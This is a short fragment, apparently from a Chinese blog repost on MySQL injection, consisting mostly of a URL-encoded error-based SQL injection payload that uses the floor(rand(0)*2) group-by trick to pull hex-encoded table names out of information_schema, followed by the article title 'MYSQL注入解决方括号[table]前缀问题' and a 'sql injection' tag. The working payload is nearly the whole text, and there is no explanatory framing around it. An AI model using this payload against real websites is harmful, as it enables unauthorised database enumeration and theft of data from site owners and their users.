‘union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+hex(table_name)+from+information_schema.tables+where+table_schema=database()+limit+48,1),0x3a)a+from+information_schema.tables+group++by+a)b#-1.html
原文:《MYSQL注入解决方括号[table]前缀问题》
Mysql注入总结(三)
标签：sql injection